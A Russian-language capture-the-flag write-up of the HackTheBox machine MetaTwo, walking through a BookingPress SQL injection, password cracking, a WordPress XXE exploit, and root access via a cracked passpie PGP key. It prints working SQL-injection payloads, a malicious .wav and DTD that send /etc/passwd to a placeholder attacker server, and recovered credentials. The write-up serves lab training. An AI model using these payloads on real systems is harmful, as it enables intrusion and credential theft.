[ MetaTwo | CVE-2022-0739 + CVE-2021-29447 | HTB Easy]

[ MetaTwo | CVE-2022-0739 + CVE-2021-29447 | HTB Easy]

NetRunner

Описание

На этой машине имеем wordpress-сервер, один из плагинов которого уязвим для неаутентифицированной SQL-инъекции, используя которую можно получить пароль пользователя для админской панели. После получим доступ к внутренним файлам путем XXE-уязвимости, а также доступ к ftp-серверу, а для повышения привилегий взломаем блок приватного PGP-ключа менеджера паролей passpie.

Сканируем сервисы

$ nmap -T5 -sC -sV -oA nmap_result 10.10.11.186
# Nmap 7.93 scan initiated Sun Dec 4 11:19:07 2022 as: nmap -T5 -sC -sV -oA nmap_result 10.10.11.186
Warning: 10.10.11.186 giving up on port because retransmission cap hit (10).
Nmap scan report for smtp.metapress.htb (10.10.11.186)
Host is up (0.14s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT   STATE  SERVICE  VERSION
21/tcp  open   ftp?
22/tcp  open   tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
43/tcp  filtered whois
80/tcp  open   http    nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/

Видим 80ый HTTP порт с редиректом на http://metapress.htb/, добавляем в /etc/hosts.

Веб-страница

Веб-сервер является Wordpress сервером с версией 5.6.2, которая уязвима для CVE-2021-29447, для которой нам нужно иметь доступ к учетке, обладающей правами загружать файлы.

Пользователь, имеющий возможность загружать файлы (например, автор), может воспользоваться проблемой синтаксического анализа XML в библиотеке мультимедиа, что приведет к атакам XXE. Для этого требуется установка WordPress с использованием PHP 8. Доступ к внутренним файлам возможен при успешной атаке XXE.

Также, в исходном коде страницы Events можем обнаружить, что используется плагин bookingpress версии 1.0.10, которая уязвима для CVE-2022-0739.

CVE-2022-0739

https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

Для эксплуатации уязвимости нам не нужно обладать правами какого-либо юзера и достаточно лишь иметь данные о переменной _wpnonce, значение которой можно найти в исходном коде страницы после активации ивента через модуль BookingPress:

- Создайте новую "категорию" и свяжите ее с новой "услугой" через меню администратора BookingPress (/wp-admin/admin.php?page=bookingpress_services)
- Создайте новую страницу со встроенным шорткодом "[bookingpress_form]" 
- Зайдите на только что созданную страницу как неаутентифицированный пользователь и извлеките "_wpnonce" (view source -> search for "action:'bookingpress_front_get_category_services'")
- Выполните следующую команду curl
curl -i 'https://example.com/wp-admin/admin-ajax.php' \
 --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

Получив _wpnonce, выполним команду и перехватим запрос бурпом, чтобы далее скормить это все в sqlmap:

$ сurl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=f600af85bb&category_id=33&total_service=2' -x http://127.0.0.1:8080

Поймав запрос и сохранив его в файл, запустим slqmap:

$ sqlmap -r post.txt -p total_service -D blog -T wp_users --dump
 

[*] starting @ 22:44:24 /2022-12-06/

[22:44:24] [INFO] parsing HTTP request from 'post.txt'
[22:44:24] [INFO] resuming back-end DBMS 'mysql' 
[22:44:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: total_service (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: action=bookingpress_front_get_category_services&_wpnonce=be77c6197f&category_id=33&total_service=1) AND (SELECT 5232 FROM (SELECT(SLEEP(5)))hLrl) AND (2634=2634

  Type: UNION query
  Title: Generic UNION query (NULL) - 9 columns
  Payload: action=bookingpress_front_get_category_services&_wpnonce=be77c6197f&category_id=33&total_service=1) UNION ALL SELECT NULL,NULL,CONCAT(0x71716b7871,0x5061684c6658754c64624e62786e504a7049646552447a744e6e71517255776177426b4244736476,0x71766a6a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[22:44:24] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.24, Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:44:24] [INFO] fetching columns for table 'wp_users' in database 'blog'
[22:44:24] [INFO] fetching entries for table 'wp_users' in database 'blog'
[22:44:24] [INFO] recognized possible password hashes in column 'user_pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: blog
Table: wp_users
[2 entries]
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url       | user_pass             | user_email      | user_login | user_status | display_name | user_nicename | user_registered   | user_activation_key |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1 | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb  | admin   | 0      | admin    | admin     | 2022-06-23 17:58:28 | <blank>       |
| 2 | <blank>       | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager  | 0      | manager   | manager    | 2022-06-23 18:07:55 | <blank>       |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
[*] ending @ 22:44:28 /2022-12-06/


Получаем хеши, один из которых ломаем хешкетом, используя словарь rockyou:

❯ hashcat -m 400 -a 0 manager_pass.hash /usr/share/wordlists/rockyou.txt


$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar   
                              
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 400 (phpass)
Hash.Target......: $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Time.Started.....: Tue Dec 6 23:08:23 2022 (17 secs)
Time.Estimated...: Tue Dec 6 23:08:40 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   6857 H/s (9.25ms) @ Accel:512 Loops:128 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 110592/14344385 (0.77%)
Rejected.........: 0/110592 (0.00%)
Restore.Point....: 106496/14344385 (0.74%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:8064-8192
Candidate.Engine.: Device Generator
Candidates.#1....: harmless -> music69
Hardware.Mon.#1..: Temp: 84c Util: 98%

Имеем креды для входа в wp-панель, откуда мы сможем проэксплуатировать XXE-уязвимость CVE-2021-29447 о которой говорилось вначале:

manager@metapress.htb
partylikearockstar

CVE-2021-29447

Для эксплуатации данной уязвимости необходим CMS ниже версии 5.7.1., PHP 8 и учетная запись юзера, имеющего права на загрузку медифайлов, что подходит для нашего случая.

https://tryhackme.com/room/wordpresscve202129447

https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/

https://github.com/AssassinUKG/CVE-2021-29447

Для этого нам необходимо создать .wav файл с полезной нагрузкой:

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURIP:PORT/DTDFILE.dtd'"'"'>%remote;%init;%trick;]>\x00' > malicious.wav

А также .dtd файл со следующим кодом, это позволит нам выполнить код после того, как веб-сервер получит .dtd файл.

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >

После запускаем веб-сервер на указанном порту и загружаем вредоносный .wav файл и получаем кодированный /etc/passwd:

Декодим его:

Через конфиг /etc/nginx/sites-enabled/default находим корневую папку вебсайта:

Проверяя /var/www/metapress.htb/blog/wp-config.php находим креды для ftp:

Подключаемся по ftp и по пути mailer/send_mail.php получаем креды, по которым подключаемся по ssh и забираем юзера:

# Check the content of send_email.php
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;

Повышение привилегий

На сервере настроен консольный менеджер паролей passpie, в котором присутствует ключ для root, зашифрованный PGP ключом, который находится в директории .passpie/:

https://github.com/marcwebbie/passpie

Забираем приватный ключ на нашу машину и конвертируем в удобный формат командой:

$ gpg2john passpie.key > key.john

Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::PASSPIE_PGP_KEY

И ломаем его используя john и rockyou:

$ john --wordlist=/usr/share/wordlists/rockyou.txt key.john

Зная ключевую фразу сохраняем пароли командой

$ passpie copy ssh

Получаем рута:


Report Page